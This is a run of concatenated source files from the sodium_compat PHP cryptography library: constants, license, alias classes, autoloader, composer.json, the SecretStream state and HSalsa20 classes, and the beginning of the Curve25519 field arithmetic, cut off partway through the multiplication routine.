const SODIUM_CRYPTO_PWHASH_SALTBYTES = 16;
const SODIUM_CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
const SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
const SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
const SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
const SODIUM_CRYPTO_SCALARMULT_BYTES = 32;
const SODIUM_CRYPTO_SCALARMULT_SCALARBYTES = 32;
const SODIUM_CRYPTO_SHORTHASH_BYTES = 8;
const SODIUM_CRYPTO_SHORTHASH_KEYBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETBOX_MACBYTES = 16;
const SODIUM_CRYPTO_SECRETBOX_NONCEBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
const SODIUM_CRYPTO_SIGN_BYTES = 64;
const SODIUM_CRYPTO_SIGN_SEEDBYTES = 32;
const SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES = 32;
const SODIUM_CRYPTO_SIGN_SECRETKEYBYTES = 64;
const SODIUM_CRYPTO_SIGN_KEYPAIRBYTES = 96;
const SODIUM_CRYPTO_STREAM_KEYBYTES = 32;
const SODIUM_CRYPTO_STREAM_NONCEBYTES = 24;
const SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
const SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;
ISC License

Copyright (c) 2016-2023, Paragon Initiative Enterprises <security at paragonie dot com>
Copyright (c) 2013-2019, Frank Denis <j at pureftpd dot org>

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
<?php
namespace ParagonIE\Sodium\Core;

class HSalsa20 extends \ParagonIE_Sodium_Core_HSalsa20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Xsalsa20 extends \ParagonIE_Sodium_Core_XSalsa20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Curve25519 extends \ParagonIE_Sodium_Core_Curve25519
{

}
<?php
namespace ParagonIE\Sodium\Core;

class XChaCha20 extends \ParagonIE_Sodium_Core_XChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class X25519 extends \ParagonIE_Sodium_Core_X25519
{

}
<?php
namespace ParagonIE\Sodium\Core\Poly1305;

class State extends \ParagonIE_Sodium_Core_Poly1305_State
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Util extends \ParagonIE_Sodium_Core_Util
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Salsa20 extends \ParagonIE_Sodium_Core_Salsa20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class ChaCha20 extends \ParagonIE_Sodium_Core_ChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Ed25519 extends \ParagonIE_Sodium_Core_Ed25519
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class Fe extends \ParagonIE_Sodium_Core_Curve25519_Fe
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P2 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P2
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P3 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P3
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P1p1 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Precomp extends \ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Cached extends \ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{

}
<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class H extends \ParagonIE_Sodium_Core_Curve25519_H
{

}
<?php
namespace ParagonIE\Sodium\Core;

class SipHash extends \ParagonIE_Sodium_Core_SipHash
{

}
<?php
namespace ParagonIE\Sodium\Core;

class BLAKE2b extends \ParagonIE_Sodium_Core_BLAKE2b
{

}
<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class Ctx extends \ParagonIE_Sodium_Core_ChaCha20_Ctx
{

}
<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx
{

}
<?php
namespace ParagonIE\Sodium\Core;

class HChaCha20 extends \ParagonIE_Sodium_Core_HChaCha20
{

}
<?php
namespace ParagonIE\Sodium\Core;

class Poly1305 extends \ParagonIE_Sodium_Core_Poly1305
{

}
<?php
namespace ParagonIE\Sodium;

class Crypto extends \ParagonIE_Sodium_Crypto
{

}
<?php
namespace ParagonIE\Sodium;

class File extends \ParagonIE_Sodium_File
{

}
<?php
namespace ParagonIE\Sodium;

class Compat extends \ParagonIE_Sodium_Compat
{

}
<?php

if (PHP_VERSION_ID < 70000) {
    if (!is_callable('sodiumCompatAutoloader')) {
        /**
         * Sodium_Compat autoloader.
         *
         * @param string $class Class name to be autoloaded.
         *
         * @return bool         Stop autoloading?
         */
        function sodiumCompatAutoloader($class)
        {
            $namespace = 'ParagonIE_Sodium_';
            // Does the class use the namespace prefix?
            $len = strlen($namespace);
            if (strncmp($namespace, $class, $len) !== 0) {
                // no, move to the next registered autoloader
                return false;
            }

            // Get the relative class name
            $relative_class = substr($class, $len);

            // Replace the namespace prefix with the base directory, replace namespace
            // separators with directory separators in the relative class name, append
            // with .php
            $file = dirname(__FILE__) . '/src/' . str_replace('_', '/', $relative_class) . '.php';
            // if the file exists, require it
            if (file_exists($file)) {
                require_once $file;
                return true;
            }
            return false;
        }

        // Now that we have an autoloader, let's register it!
        spl_autoload_register('sodiumCompatAutoloader');
    }
} else {
    require_once dirname(__FILE__) . '/autoload-php7.php';
}

/* Explicitly, always load the Compat class: */
if (!class_exists('ParagonIE_Sodium_Compat', false)) {
    require_once dirname(__FILE__) . '/src/Compat.php';
}

if (!class_exists('SodiumException', false)) {
    require_once dirname(__FILE__) . '/src/SodiumException.php';
}
if (PHP_VERSION_ID >= 50300) {
    // Namespaces didn't exist before 5.3.0, so don't even try to use this
    // unless PHP >= 5.3.0
    require_once dirname(__FILE__) . '/lib/namespaced.php';
    require_once dirname(__FILE__) . '/lib/sodium_compat.php';
} else {
    require_once dirname(__FILE__) . '/src/PHP52/SplFixedArray.php';
}
if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) {
    if (PHP_VERSION_ID >= 50300 && !defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) {
        require_once dirname(__FILE__) . '/lib/php72compat_const.php';
    }
    if (PHP_VERSION_ID >= 70000) {
        assert(class_exists('ParagonIE_Sodium_Compat'), 'Possible filesystem/autoloader bug?');
    } else {
        assert(class_exists('ParagonIE_Sodium_Compat'));
    }
    require_once(dirname(__FILE__) . '/lib/php72compat.php');
} elseif (!function_exists('sodium_crypto_stream_xchacha20_xor')) {
    // Older versions of {PHP, ext/sodium} will not define these
    require_once(dirname(__FILE__) . '/lib/php72compat.php');
}
require_once(dirname(__FILE__) . '/lib/stream-xchacha20.php');
require_once(dirname(__FILE__) . '/lib/ristretto255.php');
{
  "name": "paragonie/sodium_compat",
  "description": "Pure PHP implementation of libsodium; uses the PHP extension if it exists",
  "keywords": [
    "PHP",
    "cryptography",
    "elliptic curve",
    "elliptic curve cryptography",
    "Pure-PHP cryptography",
    "side-channel resistant",
    "Curve25519",
    "X25519",
    "ECDH",
    "Elliptic Curve Diffie-Hellman",
    "Ed25519",
    "RFC 7748",
    "RFC 8032",
    "EdDSA",
    "Edwards-curve Digital Signature Algorithm",
    "ChaCha20",
    "Salsa20",
    "Xchacha20",
    "Xsalsa20",
    "Poly1305",
    "BLAKE2b",
    "public-key cryptography",
    "secret-key cryptography",
    "AEAD",
    "Chapoly",
    "Salpoly",
    "ChaCha20-Poly1305",
    "XSalsa20-Poly1305",
    "XChaCha20-Poly1305",
    "encryption",
    "authentication",
    "libsodium"
  ],
  "license": "ISC",
  "authors": [
    {
      "name": "Paragon Initiative Enterprises",
      "email": "security@paragonie.com"
    },
    {
      "name": "Frank Denis",
      "email": "jedisct1@pureftpd.org"
    }
  ],
  "autoload": {
    "files": ["autoload.php"]
  },
  "require": {
    "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8",
    "paragonie/random_compat": ">=1"
  },
  "require-dev": {
    "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9"
  },
  "scripts": {
    "test": "phpunit"
  },
  "suggest": {
    "ext-libsodium": "PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.",
    "ext-sodium": "PHP >= 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security."
  }
}
<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HSalsa20
 */
abstract class ParagonIE_Sodium_Core_HSalsa20 extends ParagonIE_Sodium_Core_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        if ($c === null) {
            $x0  = 0x61707865;
            $x5  = 0x3320646e;
            $x10 = 0x79622d32;
            $x15 = 0x6b206574;
        } else {
            $x0  = self::load_4(self::substr($c, 0, 4));
            $x5  = self::load_4(self::substr($c, 4, 4));
            $x10 = self::load_4(self::substr($c, 8, 4));
            $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $x1  = self::load_4(self::substr($k, 0, 4));
        $x2  = self::load_4(self::substr($k, 4, 4));
        $x3  = self::load_4(self::substr($k, 8, 4));
        $x4  = self::load_4(self::substr($k, 12, 4));
        $x11 = self::load_4(self::substr($k, 16, 4));
        $x12 = self::load_4(self::substr($k, 20, 4));
        $x13 = self::load_4(self::substr($k, 24, 4));
        $x14 = self::load_4(self::substr($k, 28, 4));
        $x6  = self::load_4(self::substr($in, 0, 4));
        $x7  = self::load_4(self::substr($in, 4, 4));
        $x8  = self::load_4(self::substr($in, 8, 4));
        $x9  = self::load_4(self::substr($in, 12, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);
            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);
            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);
            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);
            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);
            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);
            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);
            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        return self::store32_le($x0) .
            self::store32_le($x5) .
            self::store32_le($x10) .
            self::store32_le($x15) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core_Curve25519 extends ParagonIE_Sodium_Core_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(1, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function fe_add(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        /** @var array<int, int> $arr */
        $arr = array();
        for ($i = 0; $i < 10; ++$i) {
            $arr[$i] = (int) ($f[$i] + $g[$i]);
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr);
    }

    /**
     * Constant-time conditional move.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cmov(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        /** @var array<int, int> $h */
        $h = array();
        $b *= -1;
        for ($i = 0; $i < 10; ++$i) {
            $x = (($f[$i] ^ $g[$i]) & $b);
            $h[$i] = ($f[$i]) ^ $x;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * Create a copy of a field element.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = clone $f;
        return $h;
    }

    /**
     * Give: 32-byte string.
     * Receive: A field element object to use for internal calculations.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws RangeException
     * @throws TypeError
     */
    public static function fe_frombytes($s)
    {
        if (self::strlen($s) !== 32) {
            throw new RangeException('Expected a 32-byte string.');
        }
        $h0 = self::load_4($s);
        $h1 = self::load_3(self::substr($s, 4, 3)) << 6;
        $h2 = self::load_3(self::substr($s, 7, 3)) << 5;
        $h3 = self::load_3(self::substr($s, 10, 3)) << 3;
        $h4 = self::load_3(self::substr($s, 13, 3)) << 2;
        $h5 = self::load_4(self::substr($s, 16, 4));
        $h6 = self::load_3(self::substr($s, 20, 3)) << 7;
        $h7 = self::load_3(self::substr($s, 23, 3)) << 5;
        $h8 = self::load_3(self::substr($s, 26, 3)) << 4;
        $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;
        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(
                (int) $h0,
                (int) $h1,
                (int) $h2,
                (int) $h3,
                (int) $h4,
                (int) $h5,
                (int) $h6,
                (int) $h7,
                (int) $h8,
                (int) $h9
            )
        );
    }

    /**
     * Convert a field element to a byte string.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $h
     * @return string
     */
    public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h)
    {
        $h0 = (int) $h[0];
        $h1 = (int) $h[1];
        $h2 = (int) $h[2];
        $h3 = (int) $h[3];
        $h4 = (int) $h[4];
        $h5 = (int) $h[5];
        $h6 = (int) $h[6];
        $h7 = (int) $h[7];
        $h8 = (int) $h[8];
        $h9 = (int) $h[9];

        $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25;
        $q = ($h0 + $q) >> 26;
        $q = ($h1 + $q) >> 25;
        $q = ($h2 + $q) >> 26;
        $q = ($h3 + $q) >> 25;
        $q = ($h4 + $q) >> 26;
        $q = ($h5 + $q) >> 25;
        $q = ($h6 + $q) >> 26;
        $q = ($h7 + $q) >> 25;
        $q = ($h8 + $q) >> 26;
        $q = ($h9 + $q) >> 25;

        $h0 += self::mul($q, 19, 5);

        $carry0 = $h0 >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry1 = $h1 >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry2 = $h2 >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry3 = $h3 >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry4 = $h4 >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry5 = $h5 >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;
        $carry6 = $h6 >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;
        $carry7 = $h7 >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;
        $carry8 = $h8 >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        $carry9 = $h9 >> 25;
        $h9 -= $carry9 << 25;

        /**
         * @var array<int, int>
         */
        $s = array(
            (int) (($h0 >> 0) & 0xff),
            (int) (($h0 >> 8) & 0xff),
            (int) (($h0 >> 16) & 0xff),
            (int) ((($h0 >> 24) | ($h1 << 2)) & 0xff),
            (int) (($h1 >> 6) & 0xff),
            (int) (($h1 >> 14) & 0xff),
            (int) ((($h1 >> 22) | ($h2 << 3)) & 0xff),
            (int) (($h2 >> 5) & 0xff),
            (int) (($h2 >> 13) & 0xff),
            (int) ((($h2 >> 21) | ($h3 << 5)) & 0xff),
            (int) (($h3 >> 3) & 0xff),
            (int) (($h3 >> 11) & 0xff),
            (int) ((($h3 >> 19) | ($h4 << 6)) & 0xff),
            (int) (($h4 >> 2) & 0xff),
            (int) (($h4 >> 10) & 0xff),
            (int) (($h4 >> 18) & 0xff),
            (int) (($h5 >> 0) & 0xff),
            (int) (($h5 >> 8) & 0xff),
            (int) (($h5 >> 16) & 0xff),
            (int) ((($h5 >> 24) | ($h6 << 1)) & 0xff),
            (int) (($h6 >> 7) & 0xff),
            (int) (($h6 >> 15) & 0xff),
            (int) ((($h6 >> 23) | ($h7 << 3)) & 0xff),
            (int) (($h7 >> 5) & 0xff),
            (int) (($h7 >> 13) & 0xff),
            (int) ((($h7 >> 21) | ($h8 << 4)) & 0xff),
            (int) (($h8 >> 4) & 0xff),
            (int) (($h8 >> 12) & 0xff),
            (int) ((($h8 >> 20) | ($h9 << 6)) & 0xff),
            (int) (($h9 >> 2) & 0xff),
            (int) (($h9 >> 10) & 0xff),
            (int) (($h9 >> 18) & 0xff)
        );
        return self::intArrayToString($s);
    }

    /**
     * Is a field element negative? (1 = yes, 0 = no. Used in calculations.)
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnegative(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $str = self::fe_tobytes($f);
        return (int) (self::chrToInt($str[0]) & 1);
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_isnonzero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        /** @var string $str */
        $str = self::fe_tobytes($f);
        return !self::verify_32($str, (string) $zero);
    }

    /**
     * Multiply two field elements
     *
     * h = f * g
     *
     * @internal You should not use this directly from another application
     *
     * @security Is multiplication a source of timing leaks? If so, can we do
     *           anything to prevent that from happening?
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g
    ) {
        // Ensure limbs aren't oversized.
        $f = self::fe_normalize($f);
        $g = self::fe_normalize($g);
        $f0 = $f[0];
        $f1 = $f[1];
        $f2 = $f[2];
        $f3 = $f[3];
        $f4 = $f[4];
        $f5 = $f[5];
        $f6 = $f[6];
        $f7 = $f[7];
        $f8 = $f[8];
        $f9 = $f[9];
        $g0 = $g[0];
        $g1 = $g[1];
        $g2 = $g[2];
        $g3 = $g[3];
        $g4 = $g[4];
        $g5 = $g[5];
        $g6 = $g[6];
        $g7 = $g[7];
        $g8 = $g[8];
        $g9 = $g[9];
        $g1_19 = self::mul($g1, 19, 5);
        $g2_19 = self::mul($g2, 19, 5);
        $g3_19 = self::mul($g3, 19, 5);
        $g4_19 = self::mul($g4, 19, 5);
        $g5_19 = self::mul($g5, 19, 5);
        $g6_19 = self::mul($g6, 19, 5);
        $g7_19 = self::mul($g7, 19, 5);
        $g8_19 = self::mul($g8, 19, 5);
        $g9_19 = self::mul($g9, 19, 5);
        $f1_2 = $f1 << 1;
        $f3_2 = $f3 << 1;
        $f5_2 = $f5 << 1;
        $f7_2 = $f7 << 1;
        $f9_2 = $f9 << 1;
        $f0g0    = self::mul($f0,    $g0, 26);
        $f0g1    = self::mul($f0,    $g1, 25);
        $f0g2    = self::mul($f0,    $g2, 26);
        $f0g3    = self::mul($f0,    $g3, 25);
        $f0g4    = self::mul($f0,    $g4, 26);
        $f0g5    = self::mul($f0,    $g5, 25);
        $f0g6    = self::mul($f0,    $g6, 26);
        $f0g7    = self::mul($f0,    $g7, 25);
        $f0g8    = self::mul($f0,    $g8, 26);
        $f0g9    = self::mul($f0,    $g9, 26);
        $f1g0    = self::mul($f1,    $g0, 26);
        $f1g1_2  = self::mul($f1_2,  $g1, 25);
        $f1g2    = self::mul($f1,    $g2, 26);
